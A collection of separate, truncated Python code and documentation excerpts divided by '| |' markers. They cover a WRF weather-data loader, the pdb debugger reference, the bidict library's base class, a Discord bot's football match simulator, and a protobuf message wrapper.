'longitude', 'elevation'))
metadata['latitude'] = mlat.flatten()
metadata['longitude'] = mlon.flatten()
metadata['elevation'] = mhgt.flatten()
metadata = metadata.apply(apply_utm,
args=(self.force_zone_number,),
axis=1)
self.metadata = metadata
# GET THE TIMES
t = f.variables['Times']
t.set_auto_maskandscale(False)
try:
times = [('').join(v) for v in t]
except TypeError:
times = []
for v in t:
times.append(''.join([s.decode('utf-8') for s in v]))
except Exception:
raise Exception('Could not convert WRF times to readable format')
times = [v.replace('_', ' ') for v in times] # remove the underscore
time = pd.to_datetime(times)
# subset the times to only those needed
time_ind = (time >= pd.to_datetime(self.start_date)) & \
(time <= pd.to_datetime(self.end_date))
time = time[time_ind]
# GET THE DATA, ONE AT A TIME
self._logger.debug('Loading air_temp')
self.air_temp = pd.DataFrame(index=time, columns=primary_id)
for i in a:
g = 'grid_y%i_x%i' % (i[0], i[1])
v = f.variables['T2'][time_ind, i[0], i[1]] - 273.15
self.air_temp[g] = v
self._logger.debug('Loading dew_point and calculating vapor_pressure')
self.dew_point = pd.DataFrame(index=time, columns=primary_id)
for i in a:
g = 'grid_y%i_x%i' % (i[0], i[1])
v = f.variables['DWPT'][time_ind, i[0], i[1]]
self.dew_point[g] = v
self._logger.debug('Calculating vapor_pressure')
satvp = phys.satvp(self.dew_point.values)
self.vapor_pressure = pd.DataFrame(satvp, index=time, columns=primary_id)
| |
you give a
"continue" command. This allows you to break into the debugger
again by pressing "Ctrl-C". If you want Pdb not to touch the
SIGINT handler, set *nosigint* to true.
The *readrc* argument defaults to true and controls whether Pdb
will load .pdbrc files from the filesystem.
Example call to enable tracing with *skip*:
import pdb; pdb.Pdb(skip=['django.*']).set_trace()
New in version 3.1: The *skip* argument.
New in version 3.2: The *nosigint* argument. Previously, a SIGINT
handler was never set by Pdb.
Changed in version 3.6: The *readrc* argument.
run(statement, globals=None, locals=None)
runeval(expression, globals=None, locals=None)
runcall(function, *args, **kwds)
set_trace()
See the documentation for the functions explained above.
Debugger Commands
=================
The commands recognized by the debugger are listed below. Most
commands can be abbreviated to one or two letters as indicated; e.g.
"h(elp)" means that either "h" or "help" can be used to enter the help
command (but not "he" or "hel", nor "H" or "Help" or "HELP").
Arguments to commands must be separated by whitespace (spaces or
tabs). Optional arguments are enclosed in square brackets ("[]") in
the command syntax; the square brackets must not be typed.
Alternatives in the command syntax are separated by a vertical bar
("|").
Entering a blank line repeats the last command entered. Exception: if
the last command was a "list" command, the next 11 lines are listed.
Commands that the debugger doesn't recognize are assumed to be Python
statements and are executed in the context of the program being
debugged. Python statements can also be prefixed with an exclamation
point ("!"). This is a powerful way to inspect the program being
debugged; it is even possible to change a variable or call a function.
When an exception occurs in such a statement, the exception name is
printed but the debugger's state is not changed.
The debugger supports aliases. Aliases can have parameters which
allows one a certain level of adaptability to the context under
examination.
Multiple commands may be entered on a single line, separated by ";;".
(A single ";" is not used as it is the separator for multiple commands
in a line that is passed to the Python parser.) No intelligence is
applied to separating the commands; the input is split at the first
";;" pair, even if it is in the middle of a quoted string.
If a file ".pdbrc" exists in the user's home directory or in the
current directory, it is read in and executed as if it had been typed
at the debugger prompt. This is particularly useful for aliases. If
both files exist, the one in the home directory is read first and
aliases defined there can be overridden by the local file.
Changed in version 3.2: ".pdbrc" can now contain commands that
continue debugging, such as "continue" or "next". Previously, these
commands had no effect.
h(elp) [command]
Without argument, print the list of available commands. With a
*command* as argument, print help about that command. "help pdb"
displays the full documentation (the docstring of the "pdb"
module). Since the *command* argument must be an identifier, "help
exec" must be entered to get help on the "!" command.
w(here)
Print a stack trace, with the most recent frame at the bottom. An
arrow indicates the current frame, which determines the context of
most commands.
d(own) [count]
Move the current frame *count* (default one) levels down in the
stack trace (to a newer frame).
u(p) [count]
Move the current frame *count* (default one) levels up in the stack
trace (to an older frame).
b(reak) [([filename:]lineno | function) [, condition]]
With a *lineno* argument, set a break there in the current file.
With a *function* argument, set a break at the first executable
statement within that function. The line number may be prefixed
with a filename and a colon, to specify a breakpoint in another
file (probably one that hasn't been loaded yet). The file is
searched on "sys.path". Note that each breakpoint is assigned a
number to which all the other breakpoint commands refer.
If a second argument is present, it is an expression which must
evaluate to true before the breakpoint is honored.
Without argument, list all breaks, including for each breakpoint,
the number of times that breakpoint has been hit, the current
ignore count, and the associated condition if any.
tbreak [([filename:]lineno | function) [, condition]]
Temporary breakpoint, which is removed automatically when it is
first hit. The arguments are the same as for "break".
cl(ear) [filename:lineno | bpnumber [bpnumber ...]]
With a *filename:lineno* argument, clear all the breakpoints at
this line. With a space separated list of breakpoint numbers, clear
those breakpoints. Without argument, clear all breaks (but first
ask confirmation).
disable [bpnumber [bpnumber ...]]
Disable the breakpoints given as a space separated list of
breakpoint numbers. Disabling a breakpoint means it cannot cause
the program to stop execution, but unlike clearing a breakpoint, it
remains in the list of breakpoints and can be (re-)enabled.
enable [bpnumber [bpnumber ...]]
Enable the breakpoints specified.
ignore bpnumber [count]
Set the ignore count for the given breakpoint number. If count is
omitted, the ignore count is set to 0. A breakpoint becomes active
when the ignore count is zero. When non-zero, the count is
decremented each time the breakpoint is reached and the breakpoint
is not disabled and any associated condition evaluates to true.
condition bpnumber [condition]
Set a new *condition* for the breakpoint, an expression which must
evaluate to true before the breakpoint is honored. If *condition*
is absent, any existing condition is removed; i.e., the breakpoint
is made unconditional.
commands [bpnumber]
Specify a list of commands for breakpoint number *bpnumber*. The
commands themselves appear on the following lines. Type a line
containing just "end" to terminate the commands. An example:
(Pdb) commands 1
(com) p some_variable
(com) end
(Pdb)
To remove all commands from a breakpoint, type commands and follow
it immediately with "end"; that is, give no commands.
With no *bpnumber* argument, commands refers to the last breakpoint
set.
You can use breakpoint commands to start your program up again.
Simply use the continue command, or step, or any other command that
resumes execution.
Specifying any command resuming execution (currently continue,
step, next, return, jump, quit and their abbreviations) terminates
the command list (as if that command was immediately followed by
end). This is because any time you resume execution (even with a
simple next or step), you may encounter another breakpoint—which
could have its own command list, leading to ambiguities about which
list to execute.
If you use the 'silent' command in the command list, the usual
message about stopping at a breakpoint is not printed. This may be
desirable for breakpoints that are to print a specific message and
then continue. If none of the other commands print anything, you
see no sign that the breakpoint was reached.
s(tep)
Execute the current line, stop at the first possible occasion
(either in a function that is called or on the next line in the
current function).
n(ext)
Continue execution until the next line in the current function is
reached or it returns. (The difference between "next" and "step"
is that "step" stops inside a called function, while "next"
executes called functions at (nearly) full speed, only stopping at
the next line in the current function.)
unt(il) [lineno]
Without argument, continue execution until the line with a number
greater than the current one is reached.
With a line number, continue execution until a line with a number
greater or equal to that is reached. In both cases, also stop when
the current frame returns.
Changed in version 3.2: Allow giving an explicit line number.
r(eturn)
Continue execution until the current function returns.
c(ont(inue))
Continue execution, only stop when a breakpoint is encountered.
j(ump) lineno
Set the next line that will be executed. Only available in the
bottom-most frame. This lets you jump back and execute code again,
or jump forward to skip code that you don't want to run.
It should be noted that not all jumps are allowed | |
<filename>env/Lib/site-packages/bidict/_base.py
# -*- coding: utf-8 -*-
# Copyright 2009-2020 <NAME>. All Rights Reserved.
#
# This Source Code Form is subject to the terms of the Mozilla Public
# License, v. 2.0. If a copy of the MPL was not distributed with this
# file, You can obtain one at http://mozilla.org/MPL/2.0/.
#==============================================================================
# * Welcome to the bidict source code *
#==============================================================================
# Doing a code review? You'll find a "Code review nav" comment like the one
# below at the top and bottom of the most important source files. This provides
# a suggested initial path through the source when reviewing.
#
# Note: If you aren't reading this on https://github.com/jab/bidict, you may be
# viewing an outdated version of the code. Please head to GitHub to review the
# latest version, which contains important improvements over older versions.
#
# Thank you for reading and for any feedback you provide.
# * Code review nav *
#==============================================================================
# ← Prev: _abc.py Current: _base.py Next: _frozenbidict.py →
#==============================================================================
"""Provide :class:`BidictBase`."""
import typing as _t
from collections import namedtuple
from copy import copy
from weakref import ref
from ._abc import BidirectionalMapping
from ._dup import ON_DUP_DEFAULT, RAISE, DROP_OLD, DROP_NEW, OnDup
from ._exc import DuplicationError, KeyDuplicationError, ValueDuplicationError, KeyAndValueDuplicationError
from ._iter import _iteritems_args_kw
from ._typing import _NONE, KT, VT, OKT, OVT, IterItems, MapOrIterItems
_WriteResult = namedtuple('_WriteResult', 'key val oldkey oldval')
_DedupResult = namedtuple('_DedupResult', 'isdupkey isdupval invbyval fwdbykey')
_NODUP = _DedupResult(False, False, _NONE, _NONE)
BT = _t.TypeVar('BT', bound='BidictBase') # typevar for BidictBase.copy
class BidictBase(BidirectionalMapping[KT, VT]):
"""Base class implementing :class:`BidirectionalMapping`."""
__slots__ = ['_fwdm', '_invm', '_inv', '_invweak', '_hash', '__weakref__']
#: The default :class:`~bidict.OnDup`
#: that governs behavior when a provided item
#: duplicates the key or value of other item(s).
#:
#: *See also* :ref:`basic-usage:Values Must Be Unique`, :doc:`extending`
on_dup = ON_DUP_DEFAULT
_fwdm_cls = dict #: class of the backing forward mapping
_invm_cls = dict #: class of the backing inverse mapping
#: The object used by :meth:`__repr__` for printing the contained items.
_repr_delegate = dict
def __init_subclass__(cls, **kw):
super().__init_subclass__(**kw)
# Compute and set _inv_cls, the inverse of this bidict class.
if '_inv_cls' in cls.__dict__:
return
if cls._fwdm_cls is cls._invm_cls:
cls._inv_cls = cls
return
inv_cls = type(cls.__name__ + 'Inv', cls.__bases__, {
**cls.__dict__,
'_inv_cls': cls,
'_fwdm_cls': cls._invm_cls,
'_invm_cls': cls._fwdm_cls,
})
cls._inv_cls = inv_cls
@_t.overload
def __init__(self, __arg: _t.Mapping[KT, VT], **kw: VT) -> None: ...
@_t.overload
def __init__(self, __arg: IterItems[KT, VT], **kw: VT) -> None: ...
@_t.overload
def __init__(self, **kw: VT) -> None: ...
def __init__(self, *args: MapOrIterItems[KT, VT], **kw: VT) -> None:
"""Make a new bidirectional dictionary.
The signature behaves like that of :class:`dict`.
Items passed in are added in the order they are passed,
respecting the :attr:`on_dup` class attribute in the process.
"""
#: The backing :class:`~collections.abc.Mapping`
#: storing the forward mapping data (*key* → *value*).
self._fwdm: _t.Dict[KT, VT] = self._fwdm_cls()
#: The backing :class:`~collections.abc.Mapping`
#: storing the inverse mapping data (*value* → *key*).
self._invm: _t.Dict[VT, KT] = self._invm_cls()
self._init_inv()
if args or kw:
self._update(True, self.on_dup, *args, **kw)
def _init_inv(self) -> None:
# Create the inverse bidict instance via __new__, bypassing its __init__ so that its
# _fwdm and _invm can be assigned to this bidict's _invm and _fwdm. Store it in self._inv,
# which holds a strong reference to a bidict's inverse, if one is available.
self._inv = inv = self._inv_cls.__new__(self._inv_cls) # type: ignore
inv._fwdm = self._invm
inv._invm = self._fwdm
# Only give the inverse a weak reference to this bidict to avoid creating a reference cycle,
# stored in the _invweak attribute. See also the docs in
# :ref:`addendum:Bidict Avoids Reference Cycles`
inv._inv = None
inv._invweak = ref(self)
# Since this bidict has a strong reference to its inverse already, set its _invweak to None.
self._invweak = None
@property
def _isinv(self) -> bool:
return self._inv is None
@property
def inverse(self) -> 'BidictBase[VT, KT]':
"""The inverse of this bidict."""
# Resolve and return a strong reference to the inverse bidict.
# One may be stored in self._inv already.
if self._inv is not None:
return self._inv # type: ignore
# Otherwise a weakref is stored in self._invweak. Try to get a strong ref from it.
assert self._invweak is not None
inv = self._invweak()
if inv is not None:
return inv
# Refcount of referent must have dropped to zero, as in `bidict().inv.inv`. Init a new one.
self._init_inv() # Now this bidict will retain a strong ref to its inverse.
return self._inv
#: Alias for :attr:`inverse`.
inv = inverse
def __getstate__(self) -> dict:
"""Needed to enable pickling due to use of :attr:`__slots__` and weakrefs.
*See also* :meth:`object.__getstate__`
"""
state = {}
for cls in self.__class__.__mro__:
slots = getattr(cls, '__slots__', ())
for slot in slots:
if hasattr(self, slot):
state[slot] = getattr(self, slot)
# weakrefs can't be pickled.
state.pop('_invweak', None) # Added back in __setstate__ via _init_inv call.
state.pop('__weakref__', None) # Not added back in __setstate__. Python manages this one.
return state
def __setstate__(self, state: dict) -> None:
"""Implemented because use of :attr:`__slots__` would prevent unpickling otherwise.
*See also* :meth:`object.__setstate__`
"""
for slot, value in state.items():
setattr(self, slot, value)
self._init_inv()
def __repr__(self) -> str:
"""See :func:`repr`."""
clsname = self.__class__.__name__
if not self:
return f'{clsname}()'
return f'{clsname}({self._repr_delegate(self.items())})'
# The inherited Mapping.__eq__ implementation would work, but it's implemented in terms of an
# inefficient ``dict(self.items()) == dict(other.items())`` comparison, so override it with a
# more efficient implementation.
def __eq__(self, other: object) -> bool:
"""*x.__eq__(other) ⟺ x == other*
Equivalent to *dict(x.items()) == dict(other.items())*
but more efficient.
Note that :meth:`bidict's __eq__() <bidict.bidict.__eq__>` implementation
is inherited by subclasses,
in particular by the ordered bidict subclasses,
so even with ordered bidicts,
:ref:`== comparison is order-insensitive <eq-order-insensitive>`.
*See also* :meth:`bidict.FrozenOrderedBidict.equals_order_sensitive`
"""
if not isinstance(other, _t.Mapping) or len(self) != len(other):
return False
selfget = self.get
return all(selfget(k, _NONE) == v for (k, v) in other.items()) # type: ignore
# The following methods are mutating and so are not public. But they are implemented in this
# non-mutable base class (rather than the mutable `bidict` subclass) because they are used here
# during initialization (starting with the `_update` method). (Why is this? Because `__init__`
# and `update` share a lot of the same behavior (inserting the provided items while respecting
# `on_dup`), so it makes sense for them to share implementation too.)
def _pop(self, key: KT) -> VT:
val = self._fwdm.pop(key)
del self._invm[val]
return val
def _put(self, key: KT, val: VT, on_dup: OnDup) -> None:
dedup_result = self._dedup_item(key, val, on_dup)
if dedup_result is not None:
self._write_item(key, val, dedup_result)
def _dedup_item(self, key: KT, val: VT, on_dup: OnDup) -> _t.Optional[_DedupResult]:
"""Check *key* and *val* for any duplication in self.
Handle any duplication as per the passed in *on_dup*.
(key, val) already present is construed as a no-op, not a duplication.
If duplication is found and the corresponding :class:`~bidict.OnDupAction` is
:attr:`~bidict.DROP_NEW`, return None.
If duplication is found and the corresponding :class:`~bidict.OnDupAction` is
:attr:`~bidict.RAISE`, raise the appropriate error.
If duplication is found and the corresponding :class:`~bidict.OnDupAction` is
:attr:`~bidict.DROP_OLD`,
or if no duplication is found,
return the :class:`_DedupResult` *(isdupkey, isdupval, oldkey, oldval)*.
"""
fwdm = self._fwdm
invm = self._invm
oldval: OVT = fwdm.get(key, _NONE)
oldkey: OKT = invm.get(val, _NONE)
isdupkey = oldval is not _NONE
isdupval = oldkey is not _NONE
dedup_result = _DedupResult(isdupkey, isdupval, oldkey, oldval)
if isdupkey and isdupval:
if self._already_have(key, val, oldkey, oldval):
# (key, val) duplicates an existing item -> no-op.
return None
# key and val each duplicate a different existing item.
if on_dup.kv is RAISE:
raise KeyAndValueDuplicationError(key, val)
if on_dup.kv is DROP_NEW:
return None
assert on_dup.kv is DROP_OLD
# Fall through to the return statement on the last line.
elif isdupkey:
if on_dup.key is RAISE:
raise KeyDuplicationError(key)
if on_dup.key is DROP_NEW:
return None
assert on_dup.key is DROP_OLD
# Fall through to the return statement on the last line.
elif isdupval:
if on_dup.val is RAISE:
raise ValueDuplicationError(val)
if on_dup.val is DROP_NEW:
return None
assert on_dup.val is DROP_OLD
# Fall through to the return statement on the last line.
# else neither isdupkey nor isdupval.
return dedup_result
@staticmethod
def _already_have(key: KT, val: VT, oldkey: OKT, oldval: OVT) | |
await self.config.guild(ctx.guild).started.set(True)
redcardmodifier = await self.config.guild(ctx.guild).redcardmodifier()
team1players = list(teams[team1]["members"].keys())
team2players = list(teams[team2]["members"].keys())
logos = ["sky", "bt", "bein", "bbc"]
yellowcards = []
logo = random.choice(logos)
motm = {}
events = False
# Team 1 stuff
yC_team1 = []
rC_team1 = []
injury_team1 = []
sub_in_team1 = []
sub_out_team1 = []
sub_count1 = 0
rc_count1 = 0
score_count1 = 0
injury_count1 = 0
team1Stats = [
team1,
yC_team1,
rC_team1,
injury_team1,
sub_in_team1,
sub_out_team1,
sub_count1,
rc_count1,
score_count1,
injury_count1,
]
# Team 2 stuff
yC_team2 = []
rC_team2 = []
injury_team2 = []
sub_in_team2 = []
sub_out_team2 = []
sub_count2 = 0
rc_count2 = 0
score_count2 = 0
injury_count2 = 0
team2Stats = [
team2,
yC_team2,
rC_team2,
injury_team2,
sub_in_team2,
sub_out_team2,
sub_count2,
rc_count2,
score_count2,
injury_count2,
]
async def TeamWeightChance(
ctx, t1totalxp, t2totalxp, reds1: int, reds2: int, team1bonus: int, team2bonus: int
):
if t1totalxp < 2:
t1totalxp = 1
if t2totalxp < 2:
t2totalxp = 1
team1bonus *= 15
team2bonus *= 15
t1totalxp = t1totalxp * float(f"1.{team1bonus}")
t2totalxp = t2totalxp * float(f"1.{team2bonus}")
self.log.debug(f"Team 1: {t1totalxp} - Team 2: {t2totalxp}")
redst1 = float(f"0.{reds1 * redcardmodifier}")
redst2 = float(f"0.{reds2 * redcardmodifier}")
total = ["A"] * int(((1 - redst1) * 100) * t1totalxp) + ["B"] * int(
((1 - redst2) * 100) * t2totalxp
)
rdmint = random.choice(total)
if rdmint == "A":
return team1Stats
else:
return team2Stats
async def TeamChance():
rndint = random.randint(1, 10)
if rndint >= 5:
return team1Stats
else:
return team2Stats
async def PlayerGenerator(event, team, yc, rc):
random.shuffle(team1players)
random.shuffle(team2players)
output = []
if team == team1:
fs_players = team1players
yc = yC_team1
rc = rC_team1
elif team == team2:
fs_players = team2players
yc = yC_team2
rc = rC_team2
if event == 0:
rosterUpdate = [i for i in fs_players if i not in rc]
if not rosterUpdate:
return await ctx.send(
"Game abandoned, no score recorded due to no players remaining."
)
isassist = False
assist = random.randint(0, 100)
if assist > 20:
isassist = True
if len(rosterUpdate) < 3:
isassist = False
player = random.choice(rosterUpdate)
if not isassist:
return [team, player]
rosterUpdate.remove(player)
assister = random.choice(rosterUpdate)
return [team, player, assister]
elif event == 1:
rosterUpdate = [i for i in fs_players if i not in rc]
if len(rosterUpdate) == 1:
return None
player = random.choice(rosterUpdate)
if player in yc or player in yellowcards:
return [team, player, 2]
else:
return [team, player]
elif event in [2, 3]:
rosterUpdate = [i for i in fs_players if i not in rc]
if len(rosterUpdate) == 1 and event == 2:
return None
player_out = random.choice(rosterUpdate)
output = [team, player_out]
return output
# Start of Simulation!
im = await self.walkout(ctx, team1, "home")
im2 = await self.walkout(ctx, team2, "away")
await ctx.send("Teams:", file=im)
await ctx.send(file=im2)
timemsg = await ctx.send("Kickoff!")
gametime = await self.config.guild(ctx.guild).gametime()
for min in range(1, 91):
await asyncio.sleep(gametime)
if min % 5 == 0:
await timemsg.edit(content="Minute: {}".format(min))
if events is False:
gC = await self.goalChance(ctx.guild, probability)
if gC is True:
teamStats = await TeamWeightChance(
ctx, lvl1, lvl2, reds[team1], reds[team2], bonuslvl1, bonuslvl2
)
playerGoal = await PlayerGenerator(0, teamStats[0], teamStats[1], teamStats[2])
teamStats[8] += 1
async with self.config.guild(ctx.guild).stats() as stats:
if playerGoal[1] not in stats["goals"]:
stats["goals"][playerGoal[1]] = 1
else:
stats["goals"][playerGoal[1]] += 1
if len(playerGoal) == 3:
if playerGoal[2] not in stats["assists"]:
stats["assists"][playerGoal[2]] = 1
else:
stats["assists"][playerGoal[2]] += 1
events = True
if len(playerGoal) == 3:
user2 = self.bot.get_user(int(playerGoal[2]))
if user2 is None:
user2 = await self.bot.fetch_user(int(playerGoal[2]))
if user2 not in motm:
motm[user2] = 1
else:
motm[user2] += 1
if user2.id not in assists:
assists[user2.id] = 1
else:
assists[user2.id] += 1
user = self.bot.get_user(int(playerGoal[1]))
if user is None:
user = await self.bot.fetch_user(int(playerGoal[1]))
if user not in motm:
motm[user] = 2
else:
motm[user] += 2
if user.id not in goals:
goals[user.id] = 1
else:
goals[user.id] += 1
if len(playerGoal) == 3:
image = await self.simpic(
ctx,
str(min),
"goal",
user,
team1,
team2,
str(playerGoal[0]),
str(team1Stats[8]),
str(team2Stats[8]),
user2,
)
else:
image = await self.simpic(
ctx,
str(min),
"goal",
user,
team1,
team2,
str(playerGoal[0]),
str(team1Stats[8]),
str(team2Stats[8]),
)
await ctx.send(file=image)
if events is False:
pC = await self.penaltyChance(ctx.guild, probability)
if pC is True:
teamStats = await TeamWeightChance(
ctx, lvl1, lvl2, reds[team1], reds[team2], bonuslvl1, bonuslvl2
)
playerPenalty = await PlayerGenerator(
3, teamStats[0], teamStats[1], teamStats[2]
)
user = self.bot.get_user(int(playerPenalty[1]))
if user is None:
user = await self.bot.fetch_user(int(playerPenalty[1]))
image = await self.penaltyimg(ctx, str(playerPenalty[0]), str(min), user)
await ctx.send(file=image)
pB = await self.penaltyBlock(ctx.guild, probability)
if pB is True:
events = True
async with self.config.guild(ctx.guild).stats() as stats:
if playerPenalty[1] not in stats["penalties"]:
stats["penalties"][playerPenalty[1]] = {"scored": 0, "missed": 1}
else:
stats["penalties"][playerPenalty[1]]["missed"] += 1
user = self.bot.get_user(int(playerPenalty[1]))
if user is None:
user = await self.bot.fetch_user(int(playerPenalty[1]))
image = await self.simpic(
ctx,
str(min),
"penmiss",
user,
team1,
team2,
str(playerPenalty[0]),
str(team1Stats[8]),
str(team2Stats[8]),
)
await ctx.send(file=image)
else:
teamStats[8] += 1
async with self.config.guild(ctx.guild).stats() as stats:
if playerPenalty[1] not in stats["goals"]:
stats["goals"][playerPenalty[1]] = 1
else:
stats["goals"][playerPenalty[1]] += 1
if playerPenalty[1] not in stats["penalties"]:
stats["penalties"][playerPenalty[1]] = {"scored": 1, "missed": 0}
else:
stats["penalties"][playerPenalty[1]]["scored"] += 1
events = True
user = self.bot.get_user(int(playerPenalty[1]))
if user is None:
user = await self.bot.fetch_user(int(playerPenalty[1]))
if user not in motm:
motm[user] = 2
else:
motm[user] += 2
if user.id not in goals:
goals[user.id] = 1
else:
goals[user.id] += 1
image = await self.simpic(
ctx,
str(min),
"penscore",
user,
team1,
team2,
str(playerPenalty[0]),
str(team1Stats[8]),
str(team2Stats[8]),
)
await ctx.send(file=image)
if events is False:
yC = await self.yCardChance(ctx.guild, probability)
if yC is True:
teamStats = await TeamChance()
playerYellow = await PlayerGenerator(
1, teamStats[0], teamStats[1], teamStats[2]
)
if playerYellow is not None:
if len(playerYellow) == 3:
teamStats[7] += 1
teamStats[2].append(playerYellow[1])
async with self.config.guild(ctx.guild).stats() as stats:
reds[str(playerYellow[0])] += 1
if playerYellow[1] not in stats["reds"]:
stats["reds"][playerYellow[1]] = 1
stats["yellows"][playerYellow[1]] += 1
else:
stats["yellows"][playerYellow[1]] += 1
stats["reds"][playerYellow[1]] += 1
events = True
user = self.bot.get_user(int(playerYellow[1]))
if user is None:
user = await self.bot.fetch_user(int(playerYellow[1]))
if user not in motm:
motm[user] = -2
else:
motm[user] += -2
image = await self.simpic(
ctx,
str(min),
"2yellow",
user,
team1,
team2,
str(playerYellow[0]),
str(team1Stats[8]),
str(team2Stats[8]),
None,
str(
len(teams[str(str(playerYellow[0]))]["members"])
- (int(teamStats[7]))
),
)
await ctx.send(file=image)
else:
teamStats[1].append(playerYellow[1])
yellowcards.append(str(playerYellow[1]))
async with self.config.guild(ctx.guild).stats() as stats:
if playerYellow[1] not in stats["yellows"]:
stats["yellows"][playerYellow[1]] = 1
else:
stats["yellows"][playerYellow[1]] += 1
events = True
user = self.bot.get_user(int(playerYellow[1]))
if user is None:
user = await self.bot.fetch_user(int(playerYellow[1]))
if user not in motm:
motm[user] = -1
else:
motm[user] += -1
image = await self.simpic(
ctx,
str(min),
"yellow",
user,
team1,
team2,
str(playerYellow[0]),
str(team1Stats[8]),
str(team2Stats[8]),
)
await ctx.send(file=image)
if events is False:
rC = await self.rCardChance(ctx.guild, probability)
if rC is True:
teamStats = await TeamChance()
playerRed = await PlayerGenerator(2, teamStats[0], teamStats[1], teamStats[2])
if playerRed is not None:
teamStats[7] += 1
async with self.config.guild(ctx.guild).stats() as stats:
if playerRed[1] not in stats["reds"]:
stats["reds"][playerRed[1]] = 1
else:
stats["reds"][playerRed[1]] += 1
reds[str(playerRed[0])] += 1
teamStats[2].append(playerRed[1])
events = True
user = self.bot.get_user(int(playerRed[1]))
if user is None:
user = await self.bot.fetch_user(int(playerRed[1]))
if user not in motm:
motm[user] = -2
else:
motm[user] += -2
image = await self.simpic(
ctx,
str(min),
"red",
user,
team1,
team2,
str(playerRed[0]),
str(team1Stats[8]),
str(team2Stats[8]),
None,
str(
len(teams[str(str(playerRed[0]))]["members"]) - (int(teamStats[7]))
),
)
await ctx.send(file=image)
if events is False:
pass
events = False
if min == 45:
added = random.randint(1, 5)
im = await self.extratime(ctx, added)
await ctx.send(file=im)
s = 45
for i in range(added):
s += 1
gC = await self.goalChance(ctx.guild, probability)
if gC is True:
teamStats = await TeamWeightChance(
ctx, lvl1, lvl2, reds[team1], reds[team2], bonuslvl1, bonuslvl2
)
playerGoal = await PlayerGenerator(
0, teamStats[0], teamStats[1], teamStats[2]
)
teamStats[8] += 1
async with self.config.guild(ctx.guild).stats() as stats:
if playerGoal[1] not in stats["goals"]:
stats["goals"][playerGoal[1]] = 1
else:
stats["goals"][playerGoal[1]] += 1
if len(playerGoal) == 3:
if playerGoal[2] not in stats["assists"]:
stats["assists"][playerGoal[2]] = 1
else:
stats["assists"][playerGoal[2]] += 1
if len(playerGoal) == 3:
user2 = self.bot.get_user(int(playerGoal[2]))
if user2 is None:
user2 = await self.bot.fetch_user(int(playerGoal[2]))
if user2 not in motm:
motm[user2] = 1
else:
motm[user2] += 1
if user2.id not in assists:
assists[user2.id] = 1
else:
assists[user2.id] += 1
events = True
user = self.bot.get_user(int(playerGoal[1]))
if user is None:
user = await self.bot.fetch_user(int(playerGoal[1]))
if user not in motm:
| |
path.
instance = cls.__new__(cls)
super(cls, instance).__setattr__("_pb", pb)
return instance
def serialize(cls, instance) -> bytes:
"""Return the serialized proto.
Args:
instance: An instance of this message type, or something
compatible (accepted by the type's constructor).
Returns:
bytes: The serialized representation of the protocol buffer.
"""
return cls.pb(instance, coerce=True).SerializeToString()
def deserialize(cls, payload: bytes) -> "Message":
"""Given a serialized proto, deserialize it into a Message instance.
Args:
payload (bytes): The serialized proto.
Returns:
~.Message: An instance of the message class against which this
method was called.
"""
return cls.wrap(cls.pb().FromString(payload))
def to_json(
cls,
instance,
*,
use_integers_for_enums=True,
including_default_value_fields=True,
preserving_proto_field_name=False,
) -> str:
"""Given a message instance, serialize it to json
Args:
instance: An instance of this message type, or something
compatible (accepted by the type's constructor).
use_integers_for_enums (Optional(bool)): An option that determines whether enum
values should be represented by strings (False) or integers (True).
Default is True.
preserving_proto_field_name (Optional(bool)): An option that
determines whether field name representations preserve
proto case (snake_case) or use lowerCamelCase. Default is False.
Returns:
str: The json string representation of the protocol buffer.
"""
return MessageToJson(
cls.pb(instance),
use_integers_for_enums=use_integers_for_enums,
including_default_value_fields=including_default_value_fields,
preserving_proto_field_name=preserving_proto_field_name,
)
def from_json(cls, payload, *, ignore_unknown_fields=False) -> "Message":
"""Given a json string representing an instance,
parse it into a message.
Args:
paylod: A json string representing a message.
ignore_unknown_fields (Optional(bool)): If True, do not raise errors
for unknown fields.
Returns:
~.Message: An instance of the message class against which this
method was called.
"""
instance = cls()
Parse(payload, instance._pb, ignore_unknown_fields=ignore_unknown_fields)
return instance
def to_dict(
cls, instance, *, use_integers_for_enums=True, preserving_proto_field_name=True, including_default_value_fields=True,
) -> "Message":
"""Given a message instance, return its representation as a python dict.
Args:
instance: An instance of this message type, or something
compatible (accepted by the type's constructor).
use_integers_for_enums (Optional(bool)): An option that determines whether enum
values should be represented by strings (False) or integers (True).
Default is True.
preserving_proto_field_name (Optional(bool)): An option that
determines whether field name representations preserve
proto case (snake_case) or use lowerCamelCase. Default is True.
Returns:
dict: A representation of the protocol buffer using pythonic data structures.
Messages and map fields are represented as dicts,
repeated fields are represented as lists.
"""
return MessageToDict(
cls.pb(instance),
including_default_value_fields=including_default_value_fields,
preserving_proto_field_name=preserving_proto_field_name,
use_integers_for_enums=use_integers_for_enums,
)
def copy_from(cls, instance, other):
"""Equivalent for protobuf.Message.CopyFrom
Args:
instance: An instance of this message type
other: (Union[dict, ~.Message):
A dictionary or message to reinitialize the values for this message.
"""
if isinstance(other, cls):
# Just want the underlying proto.
other = Message.pb(other)
elif isinstance(other, cls.pb()):
# Don't need to do anything.
pass
elif isinstance(other, collections.abc.Mapping):
# Coerce into a proto
other = cls._meta.pb(**other)
else:
raise TypeError(
"invalid argument type to copy to {}: {}".format(
cls.__name__, other.__class__.__name__
)
)
# Note: we can't just run self.__init__ because this may be a message field
# for a higher order proto; the memory layout for protos is NOT LIKE the
# python memory model. We cannot rely on just setting things by reference.
# Non-trivial complexity is (partially) hidden by the protobuf runtime.
cls.pb(instance).CopyFrom(other)
class Message(metaclass=MessageMeta):
"""The abstract base class for a message.
Args:
mapping (Union[dict, ~.Message]): A dictionary or message to be
used to determine the values for this message.
ignore_unknown_fields (Optional(bool)): If True, do not raise errors for
unknown fields. Only applied if `mapping` is a mapping type or there
are keyword parameters.
kwargs (dict): Keys and values corresponding to the fields of the
message.
"""
def __init__(self, mapping=None, *, ignore_unknown_fields=False, **kwargs):
# We accept several things for `mapping`:
# * An instance of this class.
# * An instance of the underlying protobuf descriptor class.
# * A dict
# * Nothing (keyword arguments only).
if mapping is None:
if not kwargs:
# Special fast path for empty construction.
super().__setattr__("_pb", self._meta.pb())
return
mapping = kwargs
elif isinstance(mapping, self._meta.pb):
# Make a copy of the mapping.
# This is a constructor for a new object, so users will assume
# that it will not have side effects on the arguments being
# passed in.
#
# The `wrap` method on the metaclass is the public API for taking
# ownership of the passed in protobuf objet.
mapping = copy.deepcopy(mapping)
if kwargs:
mapping.MergeFrom(self._meta.pb(**kwargs))
super().__setattr__("_pb", mapping)
return
elif isinstance(mapping, type(self)):
# Just use the above logic on mapping's underlying pb.
self.__init__(mapping=mapping._pb, **kwargs)
return
